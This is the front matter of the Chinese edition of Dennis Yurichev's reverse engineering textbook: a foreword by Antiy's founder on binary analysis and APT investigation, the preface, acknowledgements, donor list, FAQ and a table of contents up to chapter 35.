提出想邀请安天的工程师们一同完成本书的翻译时,我曾经觉得他是不是“疯 了”。本书当时并无定稿的英文版本,只是 Dennis 持续发布的 Blog 式的连载。尽管网络连载已经引发了 好评如潮,但其精彩篇章彼时还如散落在海底的珍珠,尚未串成珠链。以 Dennis 天马行空的写作风格和 追求完美主义的性格,他必然会在未完成全部章节的期间,不断地增加体系结构的新热点(如 ARM64) 和修补既有章节的内容,甚至会改动原有的样例代码,导致本书原版定稿遥遥无期。我觉得,与其说正 在养病的 Archer 接手翻译这本书是一份艰难的任务,倒不如说,Dennis 写完本书根本就是一份不可完成 的任务。 因此当接近千页的样书摆在我面前时,我被深深震撼了,那种感觉和我之前依靠自己极为蹩脚的英语 扫过的英文电子稿不同,我能想象 Archer 是如何一边咳嗽着、一边码字或者校对代码;以及安天 CERT 的 同事们是如何在样本分析任务饱和的情况下挤出时间来一点点推动翻译进展的。当我在视频例会上向安天 各地的部门负责人展示样书时,我能看到每个人的赞叹和兴奋,那种兴奋不啻于我们自己发布了一份最新 的长篇分析报告。 二进制分析,是安全分析工程师,包括有志于投身安全领域的编码工程师的基本功底之一。硅谷一 些安全人士都曾提及一个有趣的说法—华人的系统安全天赋。中国安全厂商和安全工作者,在系统安 全领域和分析工作中,正在不断取得新的进步。在国际网络安全企业中,华人承担关键系统安全研究和 分析工作的占比也很高,国际高校的一些华人研究者在新兴领域展开系统安全研究,同样取得了很大的 异步社区会员 dearfuture(15918834820) 专享 尊重版权 2 逆向工程权威指南(上册) 国际影响。遗憾的是,Web 和应用开发的兴起,一定程度上让更多年轻安全从业人员的目光转向 Web 和 应用安全,当前新的安全从业者整体的二进制分析能力正在下降,存在着基本功缺失的问题,非常需要 系统性的补课。 二进制分析能力,是对安全工程师的基础能力要求。但要对抗 APT 等新兴威胁,仅仅有基本功是不够 的,还需要在更开阔的架构视野上,具备从攻击链、体系化等角度逆向分析研判攻击行为的全程、攻击对 手的全貌的能力。 当年受到一些破解教程的误导,一些接触逆向工程的年轻人把破解序列号等当成逆向工程的目的,从 而导致浅尝辄止,没有真正理解逆向工程的博大精深。即使是安天部分资深的分析工程师,也往往更乐于 寻找解析攻击者的个性技巧和那些有“难度”的分析细节,并常以此感到自豪,而不能站到对攻击作业过 程完整复盘和对攻击者画像的角度来看待问题,而后者才是一类高阶的逆向工程。 我们是从分析“震网”所遇到的系列挫折中,从对 Flame 蠕虫马拉松式的、收效甚微的模块分析中, 认识到了传统分析工程师所面临的这种困境的。在“震网”分析中,由国际知名厂商的架构师和分析工程 师所组成的混编分析团队,就能比安天完全由软硬件安全分析工程师组成的分析小组,取得更多的分析成 果和进展。因为安全厂商和 APT 攻击之间,不是简单的查杀反制和单点的分析对抗,而是体系化对抗。从 认识到这个问题开始,安天的分析团队一方面继续强化二进制分析的基本功底;另一方面自我批判那种“视 野从入口点开始”的狭隘分析视角,避免我们自己从透析攻击者载荷的高级技巧中找到太多“快感”,而忘 记那些更重要的全局性因素。 过去三年间,安天发布了针对 APT-TOCS、白象、方程式等组织相关的多篇分析报告,也分析了类似 乌克兰国家电网遭遇攻击停电等与关键基础设施有关的安全事件。在乌克兰停电事件的分析中,我们已经 初步走出了入口点视野,而尝试在更大的时空视角上还原事件。 而即使从微观的分析来看,高阶恶意代码也已经从一个附着在宿主上的代码片段或单体文件的木马, 进化为一个庞大的工程体系。对于高级恶意代码来说,不仅有前端的持久化载荷和大量按需投放的“原子 化”模块,其后更有一个庞大的支撑工程体系。对于前端,我们还能够依靠代码逆向来分析,而对于后面 这个大到无形的“魅影”,我们更多的只能依靠分析恶意代码的指令体系、有限的网络感知捕获、少得可怜 的可公开检索信息,以及作为信息安全动物的逻辑和本能来进行猜测。我们所要完成的工作,不仅仅是要 逐一进行载荷模块分析,而是要对整个攻击面和攻击链的深入复盘。 2017 年 1 月 25 日,安天分析小组更新了针对方程式攻击组织的第四篇分析报告《方程式组织 EQUATION DRUG 平台解析》,基于对方程式组织大量恶意代码模块的分析,我们初步完成了一份有价值的工作,那 就是方程式组织的主机作业模块积木拼图。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 序 从逆向视角透视代码大厦的那些砖石 3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 4 逆向工程权威指南(上册) 我的同事在《方程式组织 EQUATION DRUG 平台解析》中写道: “这些庞杂的模块展开了一组拼图碎片,每一张图上都有有意义的图案,但如果逐一跟进,这些图案就 会组成一个巨大的迷宫。迷宫之所以让人迷惑,不在于其处处是死路,而在于其看起来处处有出口,但所 有的砖块都不能给进入者以足够的提示。此时,最大的期待,不只是有一只笔,可以在走过的地方做出标 记,而是插上双翼凌空飞起,俯瞰迷宫的全貌,当然这是一种提升分析方法论的自我期待。我辈当下虽身 无双翼,但或可练就一点灵犀。” 所有高阶的分析工作,都是以最基础的代码分析为起点的。无论是面对 APT 攻击的深度分析,还是对 高级黑产行为的系统挖掘,仅有基本分析固然是远远不够的,但没有最基本的分析是万万不能的。从未来 安全工程师所需要的能力来看,熟读本书并不能使你走出迷宫。但不掌握本书相关的基础能力,不能去透 视代码迷宫的砖石,就连走入迷宫的资格都没有。也正因为此,本书是安天工程师人手一本的必备手册和 必读之物。 肖新光 安天创始人,首席技术架构师,反病毒老兵 异步社区会员 dearfuture(15918834820) 专享 尊重版权 前 前 言 言 “逆向工程”一词用在软件工程领域的具体含义历来模糊不清。逆向工程是一种分析目标系统的过程, 旨在识别系统的各组件以及组件之间的关系,以便通过其他形式或在较高的抽象层次上,重建系统的表征。 按照目标系统的分类划分,人们常说的“逆向工程”大体可分为: (1)软件逆向工程。研究编译后的可执行程序。 (2)建模逆向工程。扫描 3D 结构并进行后续数据处理,以便重现原物。 (3)重建 DBMS 结构。 本书仅涉及上述第一项,即软件逆向工程的知识范畴。 重点议题 x86/x64、ARM/ARM64、MIPS、Java/JVM。 涉及话题 本书中涉及如下一些话题: Oracle RDBMS(第 81 章)、Itanium(IA64,第 93 章)、加密狗(第 78 章)、LD_PRELOAD(67.2 节)、 栈溢出、ELF、Win32 PE 文件格式(68.2 节)、x86-64(26.1 节)、critical sections(68.4 节)、syscalls(第 66 章),线程本地存储 TLS,地址无关代码 PIC(67.1 节)、以配置文件为导向的优化(95.1 节)、C++ STL (51.4 节)、OpenMP(第 92 章),SEH(68.3 节)。 作者简介 姓名:Dennis Yurichev 特长:逆向工程及计算机编程 联系方式:E-mail dennis(a)yurichev.com Skype dennis.yurichev 译者简介 安天安全研究与应急处理中心(安天 CERT),是承担安天安全威胁应急处理、恶意代码分析、APT 攻 异步社区会员 dearfuture(15918834820) 专享 尊重版权 2 逆向工程权威指南(上册) 击分析取证等方面工作的综合研究和服务的部门,由资深安全工程师团队组成。安天 CERT 以“第一时间 启动,同时应对两线严重威胁”为自身能力建设目标,在红色代码Ⅱ、口令蠕虫、震荡波、冲击波等重大 安全疫情的响应中,提供了先发预警、深度分析和解决方案;并在 2010 年后针对震网、毒曲、白象、方程 式等 APT 攻击组织和行动,进行了深入的跟踪分析。分析成果有效推动了安天核心引擎和产品能力的成长, 获得了主管部门和用户的好评。 致谢 感谢耐心回答我提问的 Andrey “herm1t” Baranovich 和 Slava “Avid” Kazakov。 感谢帮助我勘误的 Stanislav “Beaver” Bobrytskyy、Alexander Lysenko、Shell Rocket、Zhu Ruijin 和 Changmin Heo。 感谢 Andrew Zubinski、Arnaud Patard (rtp on #debian-arm IRC)和 Aliaksandr Autayeu 的鼎力支持。 感谢本书的中文版翻译 Archer 和安天安全研究与应急处理中心。 感谢本书的韩语版翻译 Byungho Min。 感谢校对人员 Alexander “Lstar” Chernenkiy、Vladimir Botov、Andrei Brazhuk、Mark “Logxen” Cooper、 Yuan Jochen Kang、Mal Malakov、Lewis Porter 和 Jarle Thorsen。 特别感谢承担最多校对工作的,同时也是补救最多纰漏的朋友 Vasil Kolev。 感谢封面设计 Andy Nechaevsky。 感谢 github.com 的朋友,谢谢他们所发的各种资料以及勘误。 本书使用了 LATEX 的多种工具。在此,我向它们的作者表示敬意。 捐赠 希望鼓励作者继续创作的读者,通过下述网站进行捐赠: Dennis Yurichevdonate.html 为了表示感谢,每位捐赠者都会获得题名。此外,捐赠者感兴趣的内容将会被优先更新或补充。 捐赠人名录 25 * anonymous, 2 * Oleg Vygovsky (50+100 UAH), Daniel Bilar ($50), James Truscott ($4.5), Luis Rocha ($63), Joris van de Vis ($127), Richard S Shultz ($20), Jang Minchang ($20), Shade Atlas (5 AUD), Yao Xiao ($10), PawelSzczur (40 CHF), Justin Simms ($20), Shawn the R 0ck ($27), Ki Chan Ahn ($50), Triop AB (100 SEK), AngeAlbertini (10+50 EUR), Sergey Lukianov (300 RUR), LudvigGislason (200 SEK), Gérard Labadie (40 EUR), Sergey Volchkov (10 AUD), VankayalaVigneswararao ($50), Philippe Teuwen ($4), Martin Haeberli ($10), Victor Cazacov (5 EUR), Tobias Sturzenegger (10 CHF), Sonny Thai ($15), BaynaAlZaabi ($75), Redfive B.V. (25 EUR), JoonaOskariHeikkilä (5 EUR), Marshall Bishop ($50), Nicolas Werner (12 EUR), Jeremy Brown ($100), Alexandre Borges ($25), Vladimir Dikovski (50 EUR), Jiarui Hong (100.00 SEK), Jim_Di (500 RUR), Tan Vincent ($30), Sri HarshaKandrakota (10 AUD), Pillay Harish (10 SGD), TimurValiev (230 RUR), Carlos Garcia Prado (10 EUR), Salikov Alexander (500 RUR), Oliver Whitehouse (30 GBP), Katy Moe ($14), Maxim Dyakonov ($3), Sebastian Aguilera (20 EUR), Hans-Martin Mü nch (15 EUR), JarleThorsen (100 NOK), VitalyOsipov ($100)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 前 言 3 FAQ Q:学习汇编语言有何用武之地? A:除去开发操作系统的研发人员之外,现在几乎没有什么人还要用汇编语言编写程序了。目前,编 译程序优化汇编指令的水平已经超越编程人员的脑算水平 ①,而且 CPU 越来越复杂——即使一个人具备丰 富的汇编语言的知识,也不代表他有多么了解计算机硬件。但是不可否认的是,汇编语言的知识至少有两 大用处:首先,它有助于安全人员进行安全研究、分析恶意软件;其次,它还有助于帮助编程人员调试程 序。本书旨在帮助人们理解汇编语言,而不是要指导读者用汇编语言进行编程。所以,作者组织了大量的 源代码和对应的汇编指令,供读者研究。 Q:这本书太厚了,有没有精简版? A:精简版可从网上下载:http://beginners.re/#lite。 Q:逆向工程方面的就业情况如何? A:在 reddit 等著名网站里,很多著名公司一直在招聘熟悉汇编语言和逆向工程的 IT 专家,甚至专门 招聘逆向工程领域的安全专家。有兴趣的读者可以访问以下网址: http://www.reddit.com/r/ReverseEngineering/ http://www.reddit.com/r/netsec/comments/221xxu/rnetsecs_q2_2014_information_security_hiring Q:我想要提些问题„„ A:作者的邮件地址是:dennis(a)yurichev.com。 读者还可以在我们的网站 forum.yurichev.com 参与互动。 读者点评  “构思精巧„„而且免费„„确实不错”——Daniel Bilar, Siege Technologies, LLC。  “„„了不起的免费读物!”——Pete Finnigan, Oracle RDBMS security guru。  “„„引人入胜,值得一读!”——Michael Sikorski,《Practical Malware Analysis: The Hands-On Guide to DissectingMalicious Software》的作者。  “„„谨向这本出色的教材致以个人的敬意!”——Herbert Bos,阿姆斯特丹自由大学教授, 《Modern Operating Systems(4th Edition)》作者之一。  “„„令人惊讶、难以置信”。——Luis Rocha, CISSP / ISSAP,技术经理,Verizon 业务部网络及 信息安全中心。  “感谢如此辛劳的作者、感谢如此精彩的书。”——Joris van de Vis, SAP 集成平台及安全专员。  “„„部分内容可圈可点。”——Mike Stay,教员,联邦执法训练中心,Georgia, US。  “这本书超赞!我的数名学生都在学习这本书,我计划把它当作研究生教材。”——Sergey Bratus, 计算机科学系研究助理教授,(美)达特茅斯学院。  “Dennis Yurichev 发表了一本逆向工程方面的宝典(还免费)!”TanelPoder, Oracle RDBMS 性能 调控专家。  “这本书可谓初学者的百科全书„„”——Archer,中文译者,IT 安全研究员。 ① 可查阅参考文献[Fog13b]。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 目 录 录 第一部分 指令讲解 第 1 章 CPU 简介 ............................................. 3 1.1 指令集架构 ............................................... 3 第 2 章 最简函数 ............................................... 5 2.1 x86 ............................................................. 5 2.2 ARM .......................................................... 5 2.3 MIPS .......................................................... 5 MIPS 指令集与寄存器名称 ...................... 6 第 3 章 Hello,world! ................................. 7 3.1 x86 ............................................................. 7 3.1.1 MSVC ............................................. 7 3.1.2 GCC ................................................ 9 3.1.3 GCC:AT&T 语体 ............................ 9 3.2 x86-64 ...................................................... 11 3.2.1 MSVC-x86-64 .............................. 11 3.2.2 GCC-x86-64 ............................... 12 3.3 GCC 的其他特性 .................................... 12 3.4 ARM ........................................................ 13 3.4.1 Keil 6/2013—未启用优化功 能的 ARM 模式 ........................... 14 3.4.2 Thumb 模式下、未开启优化选项 的 Keil .......................................... 15 3.4.3 ARM 模式下、开启优化选项的 Xcode ............................................ 15 3.4.4 Thumb-2 模式下、开启优化选项 的 Xcode(LLVM) .................... 16 3.4.5 ARM64 ......................................... 18 3.5 MIPS ........................................................ 19 3.5.1 全局指针 Global pointer .............. 19 3.5.2 Optimizing GCC ........................... 19 3.5.3 Non-optimizing GCC .................... 21 3.5.4 栈帧 .............................................. 23 3.5.5 Optimizing GCC: GDB 的分 析方法 .......................................... 23 3.6 总结 ......................................................... 24 3.7 练习题 ..................................................... 24 3.7.1 题目 1 ........................................... 24 3.7.2 题目 2 ........................................... 24 第 4 章 函数序言和函数尾声 ...................... 25 递归调用 .......................................................... 25 第 5 章 栈 ........................................................... 26 5.1 为什么栈会逆增长 .................................. 26 5.2 栈的用途.................................................. 27 5.2.1 保存函数结束时的返回地址 ....... 27 5.2.2 参数传递 ....................................... 28 5.2.3 存储局部变量 ............................... 29 5.2.4 x86:alloca()函数............................ 29 5.2.5 (Windows)SEH 结构化 异常处理 ....................................... 31 5.2.6 缓冲区溢出保护 ........................... 31 5.3 典型的栈的内存存储格式 ...................... 31 5.4 栈的噪音.................................................. 31 5.5 练习题 ..................................................... 34 5.5.1 题目 1 ............................................ 34 5.5.2 题目 2 ............................................ 34 第 6 章 printf()函数与参数调用 ................ 36 6.1 x86 ........................................................... 36 6.1.1 x86:传递 3 个参数 ..................... 36 6.1.2 x64:传递 9 个参数 ..................... 41 6.2 ARM ........................................................ 44 6.2.1 ARM 模式下传递 3 个参数 ......... 44 6.2.2 ARM 模式下传递 8 个参数 ......... 46 6.3 MIPS ........................................................ 50 6.3.1 传递 3 个参数 ............................... 50 6.3.2 传递 9 个参数 ............................... 52 6.4 总结 ......................................................... 56 6.5 其他 ......................................................... 57 第 7 章 scanf() .................................................. 58 7.1 演示案例.................................................. 58 7.1.1 指针简介 ....................................... 58 7.1.2 x86................................................. 58 7.1.3 MSVC+OllyDbg.......................... 60 7.1.4 x64................................................. 62 7.1.5 ARM ............................................. 63 7.1.6 MIPS ............................................. 64 7.2 全局变量.................................................. 65 异步社区会员 dearfuture(15918834820) 专享 尊重版权 2 逆向工程权威指南(上册) 7.2.1 MSVC:x86 ................................. 66 7.2.2 MSVC:x86+OllyDbg ................. 67 7.2.3 GCC:x86 .................................... 68 7.2.4 MSVC:x64 ................................. 68 7.2.5 ARM: Optimizing Keil 6/2013 (Thumb 模式) ............................... 69 7.2.6 ARM64 ......................................... 70 7.2.7 MIPS ............................................. 70 7.3 scanf()函数的状态监测 .......................... 74 7.3.1 MSVC:x86 ................................. 74 7.3.2 MSVC:x86:IDA ...................... 75 7.3.3 MSVC:x86+OllyDbg ................. 77 7.3.4 MSVC:x86+Hiew ...................... 78 7.3.5 MSVC:x64 .................................... 79 7.3.6 ARM ............................................. 80 7.3.7 MIPS ............................................. 81 7.3.8 练习题 .......................................... 82 7.4 练习题 ..................................................... 82 题目 1 ...................................................... 82 第 8 章 参数获取 ............................................. 83 8.1 x86 ........................................................... 83 8.1.1 MSVC ........................................... 83 8.1.2 MSVC+OllyDbg ........................... 84 8.1.3 GCC .............................................. 84 8.2 x64 ........................................................... 85 8.2.1 MSVC ........................................... 85 8.2.2 GCC .............................................. 86 8.2.3 GCC: uint64_t 型参数 .................. 87 8.3 ARM ........................................................ 88 8.3.1 Non-optimizing Keil 6/2013 (ARM mode) ................................. 88 8.3.2 Optimizing Keil 6/2013 (ARM mode) ................................. 89 8.3.3 Optimizing Keil 6/2013 (Thumb mode) ............................ 89 8.3.4 ARM64 ......................................... 89 8.4 MIPS ........................................................ 91 第 9 章 返回值 ................................................. 93 9.1 void 型函数的返回值 ............................. 93 9.2 函数返回值不被调用的情况.................. 94 9.3 返回值为结构体型数据 ......................... 94 第 10 章 指针 ................................................... 96 10.1 全局变量 ................................................ 96 10.2 局部变量 ................................................ 98 10.3 总结 ..................................................... 100 第 11 章 GOTO 语句 ................................... 101 11.1 无用代码 Dead Code ........................... 102 11.2 练习题 .................................................. 102 第 12 章 条件转移指令 ............................... 103 12.1 数值比较 .............................................. 103 12.1.1 x86 ............................................. 103 12.1.2 ARM.......................................... 109 12.1.3 MIPS ......................................... 112 12.2 计算绝对值 .......................................... 115 12.2.1 Optimizing MSVC ................. 115 12.2.2 Optimizing Keil 6/2013: Thumb mode .......................................... 116 12.2.3 Optimizing Keil 6/2013: ARM mode .......................................... 116 12.2.4 Non-optimizng GCC 4.9 (ARM64) ................................... 116 12.2.5 MIPS ......................................... 117 12.2.6 不使用转移指令 ....................... 117 12.3 条件运算符 .......................................... 117 12.3.1 x86 ............................................. 117 12.3.2 ARM.......................................... 118 12.3.3 ARM64 ...................................... 119 12.3.4 MIPS ......................................... 119 12.3.5 使用 if/else 替代条件运算符 ... 120 12.3.6 总结 ........................................... 120 12.4 比较最大值和最小值 .......................... 120 12.4.1 32 位 .......................................... 120 12.4.2 64 位 .......................................... 123 12.4.3 MIPS ......................................... 125 12.5 总结 ..................................................... 125 12.5.1 x86 ............................................. 125 12.5.2 ARM.......................................... 125 12.5.3 MIPS ......................................... 126 12.5.4 无分支指令 (非条件指令) ......................... 126 12.6 练习题.................................................. 127 第 13 章 switch()/case/default .................. 128 13.1 case 陈述式较少的情况 ...................... 128 13.1.1 x86 ............................................. 128 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 录 3 13.1.2 ARM: Optimizing Keil 6/2013 (ARM mode) ............................. 133 13.1.3 ARM: Optimizing Keil 6/2013 (Thumb mode) .......................... 133 13.1.4 ARM64: Non-optimizing GCC (Linaro) 4.9 ............................... 134 13.1.5 ARM64: Optimizing GCC (Linaro) 4.9 ............................... 134 13.1.6 MIPS ......................................... 135 13.1.7 总结 .......................................... 136 13.2 case 陈述式较多的情况 ...................... 136 13.2.1 x86 ............................................ 136 13.2.2 ARM: Optimizing Keil 6/2013 (ARM mode) ............................. 140 13.2.3 ARM: Optimizing Keil 6/2013 (Thumb mode) .......................... 141 13.2.4 MIPS ......................................... 143 13.2.5 总结 .......................................... 144 13.3 case 从句多对一的情况 ...................... 145 13.3.1 MSVC ....................................... 145 13.3.2 GCC .......................................... 147 13.3.3 ARM64: Optimizing GCC 4.9.1 ................................. 147 13.4 Fall-through ......................................... 149 13.4.1 MSVC x86 ................................ 149 13.4.2 ARM64 ..................................... 150 13.5 练习题 ................................................. 151 13.5.1 题目 1 ....................................... 151 第 14 章 循环 ................................................. 152 14.1 举例说明 ............................................. 152 14.1.1 x86 ............................................ 152 14.1.2 x86:OllyDbg ............................. 155 14.1.3 x86:跟踪调试工具 tracer ......... 156 14.1.4 ARM ......................................... 157 14.1.5 MIPS ......................................... 160 14.1.6 其他 .......................................... 161 14.2 内存块复制 ......................................... 161 14.2.1 编译结果 .................................. 161 14.2.2 编译为 ARM 模式的 程序 .......................................... 162 14.2.3 MIPS ......................................... 163 14.2.4 矢量化技术 .............................. 164 14.3 总结 ..................................................... 164 14.4 练习题 ................................................. 165 14.4.1 题目 1 ........................................ 165 14.4.2 题目 2 ........................................ 165 14.4.3 题目 3 ........................................ 166 14.4.4 题目 4 ........................................ 167 第 15 章 C 语言字符串的函数 .................. 170 15.1 strlen() .................................................. 170 15.1.1 x86 ............................................. 170 15.1.2 ARM.......................................... 174 15.1.3 MIPS ......................................... 177 15.2 练习题.................................................. 178 15.2.1 题目 1 ........................................ 178 第 16 章 数学计算指令的替换 .................. 181 16.1 乘法 ..................................................... 181 16.1.1 替换为加法运算 ....................... 181 16.1.2 替换为位移运算 ....................... 181 16.1.3 替换为位移、加减法的 混合运算 ................................... 182 16.2 除法运算 .............................................. 186 16.2.1 替换为位移运算 ....................... 186 16.3 练习题.................................................. 186 16.3.1 题目 1 ........................................ 186 第 17 章 FPU .................................................. 188 17.1 IEEE 754 .............................................. 188 17.2 x86 ....................................................... 188 17.3 ARM、MIPD、x86/x64 SIMD ........... 188 17.4 C/C++................................................... 188 17.5 举例说明 .............................................. 189 17.5.1 x86 ............................................. 189 17.5.2 ARM: Optimizing Xcode 4.6.3 (LLVM) (ARM mode) ...... 193 17.5.3 ARM: Optimizing Keil 6/2013 (Thumb mode) ........................... 193 17.5.4 ARM64: Optimizing GCC (Linaro) 4.9 ............................... 194 17.5.5 ARM64: Non-optimizing GCC (Linaro) 4.9 ............................... 195 17.5.6 MIPS ......................................... 195 17.6 利用参数传递浮点型数据 .................. 196 17.6.1 x86 ............................................. 196 17.6.2 ARM + Non-optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) ....................... 197 异步社区会员 dearfuture(15918834820) 专享 尊重版权 4 逆向工程权威指南(上册) 17.6.3 ARM + Non-optimizing Keil 6/2013 (ARM mode) ................. 198 17.6.4 ARM64 + Optimizing GCC (Linaro) 4.9 ............................... 198 17.6.5 MIPS ......................................... 199 17.7 比较说明 ............................................. 200 17.7.1 x86 ............................................ 200 17.7.2 ARM ......................................... 216 17.7.3 ARM64 ..................................... 219 17.7.4 MIPS ......................................... 220 17.8 栈、计算器及逆波兰表示法 .............. 221 17.9 x64 ....................................................... 221 17.10 练习题 ............................................... 221 17.10.1 题目 1 ..................................... 221 17.10.2 题目 2 ..................................... 221 第 18 章 数组 ................................................. 223 18.1 简介 ..................................................... 223 18.1.1 x86 ............................................ 223 18.1.2 ARM ......................................... 225 18.1.3 MIPS ......................................... 228 18.2 缓冲区溢出 ......................................... 229 18.2.1 读取数组边界以外的内容 ....... 229 18.2.2 向数组边界之外的地址赋值 ... 231 18.3 缓冲区溢出的保护方法 ..................... 234 18.3.1 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) ....................... 236 18.4 其他 ..................................................... 238 18.5 字符串指针 ......................................... 238 18.5.1 x64 ............................................ 239 18.5.2 32 位 MSVC ............................. 239 18.5.3 32 位 ARM ............................... 240 18.5.4 ARM64 ..................................... 241 18.5.5 MIPS ......................................... 242 18.5.6 数组溢出 .................................. 242 18.6 多维数组 ............................................. 245 18.6.1 二维数组举例 .......................... 246 18.6.2 以一维数组的方式访问 二维数组 .................................. 247 18.6.3 三维数组 .................................. 248 18.6.4 更多案例 .................................. 251 18.7 二维字符串数组的封装格式 .............. 251 18.7.1 32 位 ARM ............................... 253 18.7.2 ARM64 ..................................... 254 18.7.3 MIPS ......................................... 254 18.7.4 总结 ........................................... 255 18.8 本章小结 .............................................. 255 18.9 练习题.................................................. 255 18.9.1 题目 1 ........................................ 255 18.9.2 题目 2 ........................................ 258 18.9.3 题目 3 ........................................ 263 18.9.4 题目 4 ........................................ 264 18.9.5 题目 5 ........................................ 265 第 19 章 位操作 ............................................. 270 19.1 特定位.................................................. 270 19.1.1 x86 ............................................. 270 19.1.2 ARM.......................................... 272 19.2 设置/清除特定位 ................................. 274 19.2.1 x86 ............................................. 274 19.2.2 ARM + Optimizing Keil 6/2013 (ARM mode) ............................. 277 19.2.3 ARM + Optimizing Keil 6/2013 (Thumb mode) ........................... 278 19.2.4 ARM + Optimizing Xcode (LLVM)+ ARM mode ................. 278 19.2.5 ARM:BIC 指令详解 .............. 278 19.2.6 ARM64: Optimizing GCC(Linaro) 4.9 ......................... 278 19.2.7 ARM64: Non-optimizing GCC (Linaro) 4.9 ................................. 279 19.2.8 MIPS ......................................... 279 19.3 位移 ..................................................... 279 19.4 在 FPU 上设置特定位......................... 279 19.4.1 XOR 操作详解 ......................... 280 19.4.2 x86 ............................................. 280 19.4.3 MIPS ......................................... 282 19.4.4 ARM.......................................... 282 19.5 位校验.................................................. 284 19.5.1 x86 ............................................. 286 19.5.2 x64 ............................................. 289 19.5.3 ARM + Optimizing Xcode 4.6.3 (LLVM) + ARM mode .............. 291 19.5.4 ARM + Optimizing Xcode 4.6.3 (LLVM)+ Thumb-2 mode ...... 292 19.5.5 ARM64 + Optimizing GCC 4.9 .................................... 292 19.5.6 ARM64 + Non-optimizing GCC 4.9 .................................... 292 19.5.7 MIPS ......................................... 293 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 录 5 19.6 本章小结 ............................................. 295 19.6.1 检测特定位(编译阶段) ....... 295 19.6.2 检测特定位(runtime 阶段).... 295 19.6.3 设置特定位(编译阶段) ....... 296 19.6.4 设置特定位(runtime 阶段).... 296 19.6.5 清除特定位(编译阶段) ....... 296 19.6.6 清除特定位(runtime 阶段).... 297 19.7 练习题 ................................................. 297 19.7.1 题目 1 ....................................... 297 19.7.2 题目 2 ....................................... 298 19.7.3 题目 3 ....................................... 301 19.7.4 题目 4 ....................................... 301 第 20 章 线性同余法与伪随机函数 ........ 304 20.1 x86 ....................................................... 304 20.2 x64 ....................................................... 305 20.3 32 位 ARM .......................................... 306 20.4 MIPS .................................................... 306 MIPS 的重新定位 .................................. 307 20.5 本例的线程安全改进版 ..................... 309 第 21 章 结 构 体 .................................... 310 21.1 MSVC: systemtime ........................... 310 21.1.1 OllyDbg .................................... 311 21.1.2 以数组替代结构体 .................. 312 21.2 用 malloc()分配结构体的空间 ........... 313 21.3 UNIX: struct tm ................................... 315 21.3.1 Linux ......................................... 315 21.3.2 ARM ......................................... 317 21.3.3 MIPS ......................................... 319 21.3.4 数组替代法 .............................. 320 21.3.5 替换为 32 位 words .................. 322 21.3.6 替换为字节型数组 .................. 323 21.4 结构体的字段封装 ............................. 325 21.4.1 x86 ............................................ 325 21.4.2 ARM ......................................... 329 21.4.3 MIPS ......................................... 330 21.4.4 其他 .......................................... 331 21.5 结构体的嵌套 ..................................... 331 OllyDbg .................................................. 332 21.6 结构体中的位操作 ............................. 333 21.6.1 CPUID ...................................... 333 21.6.2 用结构体构建浮点数............... 337 21.7 练习题 ................................................. 339 21.7.1 题目 1 ....................................... 339 21.7.2 题目 2 ........................................ 340 第 22 章 共用体(union)类型 ................ 345 22.1 伪随机数生成程序 .............................. 345 22.1.1 x86 ............................................. 346 22.1.2 MIPS ......................................... 347 22.1.3 ARM (ARM mode) ................... 348 22.2 计算机器精度 ...................................... 349 22.2.1 x86 ............................................. 350 22.2.2 ARM64 ...................................... 350 22.2.3 MIPS ......................................... 351 22.2.4 本章小结 ................................... 351 22.3 快速平方根计算 .................................. 351 第 23 章 函数指针 ......................................... 352 23.1 MSVC .................................................. 353 23.1.1 MSVC+OllyDbg ....................... 354 23.1.2 MSVC+tracer ............................ 355 23.1.3 MSVC + tracer(指令分析) ...... 356 23.2 GCC ..................................................... 357 23.2.1 GCC + GDB(有源代码的 情况) ....................................... 358 23.2.2 GCC+GDB(没有源代码的 情况) ....................................... 359 第 24 章 32 位系统处理 64 位数据 ......... 362 24.1 64 位返回值 ......................................... 362 24.1.1 x86 ............................................. 362 24.1.2 ARM.......................................... 362 24.1.3 MIPS ......................................... 362 24.2 参数传递及加减运算 .......................... 363 24.2.1 x86 ............................................. 363 24.2.2 ARM.......................................... 365 24.2.3 MIPS ......................................... 365 24.3 乘法和除法运算 .................................. 366 24.3.1 x86 ............................................. 367 24.3.2 ARM.......................................... 368 24.3.3 MIPS ......................................... 369 24.4 右移 ..................................................... 370 24.4.1 x86 ............................................. 370 24.4.2 ARM.......................................... 371 24.4.3 MIPS ......................................... 371 24.5 32 位数据转换为 64 位数据 ............... 371 24.5.1 x86 ............................................. 372 24.5.2 ARM.......................................... 372 异步社区会员 dearfuture(15918834820) 专享 尊重版权 6 逆向工程权威指南(上册) 24.5.3 MIPS ......................................... 372 第 25 章 SIMD .............................................. 373 25.1 矢量化 ................................................. 373 25.1.1 用于加法计算 .......................... 374 25.1.2 用于内存复制 .......................... 379 25.2 SIMD 实现 strlen() .............................. 383 第 26 章 64 位平台 ....................................... 387 26.1 x86-64 .................................................. 387 26.2 ARM .................................................... 394 26.3 浮点数 ................................................. 394 第 27 章 SIMD 与浮点数的并行运算 ... 395 27.1 样板程序 ............................................. 395 27.1.1 x64 ............................................ 395 27.1.2 x86 ............................................ 396 27.2 传递浮点型参数 ................................. 399 27.3 浮点数之间的比较 ............................. 400 27.3.1 x64 ............................................ 400 27.3.2 x86 ............................................ 401 27.4 机器精 ................................................. 402 27.5 伪随机数生成程序(续).................. 402 27.6 总结 ..................................................... 403 第 28 章 ARM 指令详解 ............................ 404 28.1 立即数标识(#) ............................... 404 28.2 变址寻址 ............................................. 404 28.3 常量赋值 ............................................. 405 28.3.1 32 位 ARM ............................... 405 28.3.2 ARM64 ..................................... 405 28.4 重定位 ................................................. 406 第 29 章 MIPS 的特点 ............................... 409 29.1 加载常量 ............................................. 409 29.2 阅读推荐 ............................................. 409 第二部分 硬件基础 第 30 章 有符号数的表示方法 ................. 413 第 31 章 字节序 ............................................. 415 31.1 大端字节序 ......................................... 415 31.2 小端字节序 ......................................... 415 31.3 举例说明 ............................................. 415 31.4 双模二元数据格式 .............................. 416 31.5 转换字节序 .......................................... 416 第 32 章 内存布局 ......................................... 417 第 33 章 CPU.................................................. 418 33.1 分支预测 .............................................. 418 33.2 数据相关性 .......................................... 418 第 34 章 哈希函数 ......................................... 419 单向函数与不可逆算法 ................................. 419 第三部分 一些高级的例子 第 35 章 温度转换 